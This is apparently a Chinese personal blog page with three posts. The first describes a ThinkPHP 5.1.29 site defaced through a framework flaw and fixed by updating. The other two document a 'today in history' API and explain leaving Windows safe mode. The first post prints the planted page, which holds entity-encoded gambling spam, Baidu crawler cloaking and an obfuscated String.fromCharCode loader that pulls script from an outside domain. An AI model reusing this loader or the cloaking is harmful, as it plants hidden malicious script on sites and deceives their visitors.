分类 唠嗑闲聊 下的文章

记一次使用 ThinkPHP 5 框架被挂马

前言

全怪自己没有跟进更新 ThinkPHP 版本,导致被挂马,用的版本是 ThinkPHP V5.1.29 LTS

我是怎么发现的

也是听别人提起我这个网站,我才知道我还有这个网站,然后习惯的登录下看看,结果发现只有首页能打开,其它都 404,我还以为网站配置问题,我又删除了重新建立站点,发现还是一样

直到我看了下 public/ 目录
Snipaste_2020-07-09_13-19-22.png

我才发现 index.php 文件被删了,只留下 index.html 文件,其文件部分内容是:

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<title>&#30343;&#20896;&#66;&#69;&#84;&#51;&#54;&#57;&#44;&#30343;&#20896;&#98;&#101;&#116;&#23433;&#21331;&#29256;&#19979;&#36733;&#44;&#30343;&#20896;&#98;&#101;&#116;&#25163;&#26426;&#29256;&#19979;&#36733;</title>
<meta name="keywords" content="&#98;&#101;&#116;&#30343;&#20896;&#23448;&#32593;&#44;&#30343;&#20896;&#30331;&#38470;&#27880;&#20876;&#44;&#30343;&#20896;&#30495;&#20154;&#24179;&#21488;"/>
<meta name="description" content="&#98;&#101;&#116;&#30343;&#20896;&#23448;&#32593;&#12304;&#119;&#119;&#119;&#46;&#51;&#50;&#52;&#52;&#48;&#52;&#46;&#99;&#111;&#109;&#12305;&#30343;&#20896;&#30495;&#20154;&#24179;&#21488;&#44;&#30343;&#20896;&#30331;&#38470;&#27880;&#20876;&#44;&#30343;&#20896;&#30495;&#20154;&#24179;&#21488;&#44;&#30343;&#20896;&#30331;&#38470;&#27880;&#20876;&#44;&#98;&#101;&#116;&#30343;&#20896;&#20307;&#32946;&#23448;&#32593;&#44;&#98;&#101;&#116;&#30343;&#20896;&#20307;&#32946;&#19979;&#36733;&#44;&#30343;&#20896;&#30495;&#20154;&#24179;&#21488;&#44;&#30343;&#20896;&#30331;&#38470;&#27880;&#20876;&#44;&#98;&#101;&#116;&#30343;&#20896;&#20307;&#32946;&#23448;&#32593;&#19968;&#30452;&#33268;&#21147;&#20110;&#23089;&#20048;&#20107;&#19994;&#30340;&#21457;&#23637;&#12290;"/>
<meta property="og:image" content="https://*.nowtime.cc/logo.png"/>
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="****1班"}</script>
<script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,101,102,104,102,117,104,49,46,99,111,109,47,51,54,53,46,106,115,34,62,60,47,115,99,114,105,112,116,62,); document.write(xt); </script>

我还以为是自己写的某个后台没有鉴权,导致上传文件出现漏洞

然后我又网上查了下 ThinkPHP 5 漏洞,然后就找到了这篇文章:ThinkPHP5.x漏洞复现

自己试了试,真能执行任意函数

ThinkPHP V5.1.29 LTS 执行任意函数

看到这我就知道了,是 ThinkPHP 的漏洞,也怪自己不及时更新框架,这个框架从18年11月,使用 Composer 安装后,我就没有更新过了,一年半过去了我才知道...

怎么解决

执行 composer update topthink/framework 更新
执行 composer update topthink/framework 更新

然后问题就解决了
然后问题就解决了

历史上的今天 免费API 开发文档

关于本 API

数据库已开源,详细请访问:https://nowtime.cc/php/922.html

⌨ API 字段说明

🥁 请求

使用 GET 方法请求 https://api.nowtime.cc/v1/today_in_history

例子,获取1月1日,降序排序:https://api.nowtime.cc/v1/today_in_history?month=1&day=1&order=asc

字段说明
month月份。默认值是本月,你可以输入 1~12 之间的数字
day日期。默认值是今天,你可以输入 1~31 之间的数字
order排序方式。根据 年份排序,默认值是 desc 降序(从大到小),你可以输入 descasc

◀ 返回

字段类型说明
codeint[必有] 状态码,正常返回 200,其它包括数据不存在都返回如 500、-1
msgstring[必有] 信息,正常返回 ok,非 200 状态码返回错误原因
countint历史上的今天返回数量
disclaimerstring[必有] 免责声明,可以自己在 api.php 第82行 进行修改
dataarray历史上的今天 数据,字段说明请看下方
yearint[必有] 年份,如果前面带有有负号 -,则代表是公元前
monthint[必有] 月份
typeint[必有] 事件类型,1:大事件,2:出生,3:逝世
datastring[必有] 事件信息,如果当天有多个事件,将以 ${{delimiter}} 作为分隔符进行分割。PHP 可以使用 explode() 函数进行分割,JavaScript 可以使用 split 方法进行分割
请注意,以下是我进行了修改的,实际返回条数不止 2条
{
    "code": 200,
    "msg": "ok",
    "count": 2,
    "disclaimer": "数据源于“维基百科”,经过加工后为您呈现本数据,数据采集于 2020\/04\/12 12:00,在此之后一些数据可能发生了改变,请以事实为准!本站不承担任何因数据改变而造成的任何责任",
    "data": [{
        "year": 2020,
        "month": 1,
        "day": 1,
        "type": 3,
        "data": "大卫·斯特恩,前任美国国家篮球协会总裁(1942年出生)"
    }, {
        "year": 2019,
        "month": 1,
        "day": 1,
        "type": 1,
        "data": "中华民国实施大型餐饮业如连锁速食店等,内用将禁止提供塑胶吸管的规定[3][4];中华民国依法届期终止第三代行动通讯(3G)业务。"
    }]
}

Windows 10输入正确PIN码无法进入系统 / 暴力退出 Windows 安全模式

Windows 10 输入正确 PIN 码无法进入系统

今天像往常那样开机,然后我发现,输入密码字体变大了,小爱同学也没像往常那样报“蓝牙已连接”。
然而我觉得这件事并非那么简单,结果真的是,输入正确 PIN 码,提示密码错误,然后习惯上网查了下“Win 10输入正确密码提示密码错误”(此处省略1k字)...

Windows 10 登录界面

重启两次后,猛然想起,也许不是PIN码呢,然后输入密码、回车 成功进入桌面,但是进入后又发现,桌面怎么变得那么凌乱,背景图片怎么是黑色,这就牵扯到第二件事了,请往下阅读。

Windows 10 安全模式界面

暴力退出 Windows 安全模式

屏幕每个角落都有 安全模式 字样,然后我想我键盘是不是卡到某个按键了,检查了一遍,并没有,然后抱着 重启解决99%的问题 的想法,重启,重启后又是进入的安全模式。

然后我就上网查 “Windows 退出安全模式”,一搜挺多的,然后根据教程:

  1. 按 Win + R,然后输入 msconfig 回车
  2. 选择 常规 -> 启动选择 -> 正常启动 -> 确定
  3. 重启电脑

重启后发现并没有什么用,一样还是进入了 安全模式,我就想是不是我操作不当,我又按着教程来,做了一遍,又一样,反复亦是如此。
经过N次尝试后,我开始反思自己,自己是不是下载什么东西中病毒了,经过回忆,并没有,最近几天都是看剧、打代码、QQ/微信上水一水...
然后想到是不是更新是什么驱动之类的导致的,最终做出“艰难的决定”,按时间节点还原系统,我选择了 “2020-01-07”还原,还原完成后,结果还是那样,还是进入的安全模式,啊啊啊啊啊,我要疯了!!

最终在网上找到了合适的操作办法退出安全模式

  1. Win + R,输入 cmd 回车
  2. 输入 bcdedit /deletevalue {current} safeboot,按回车
  3. 然后重启,就会发现退出了安全模式...

总结

相见恨晚,为什么不让我早点看到这条结果,早知道不进行系统还原了...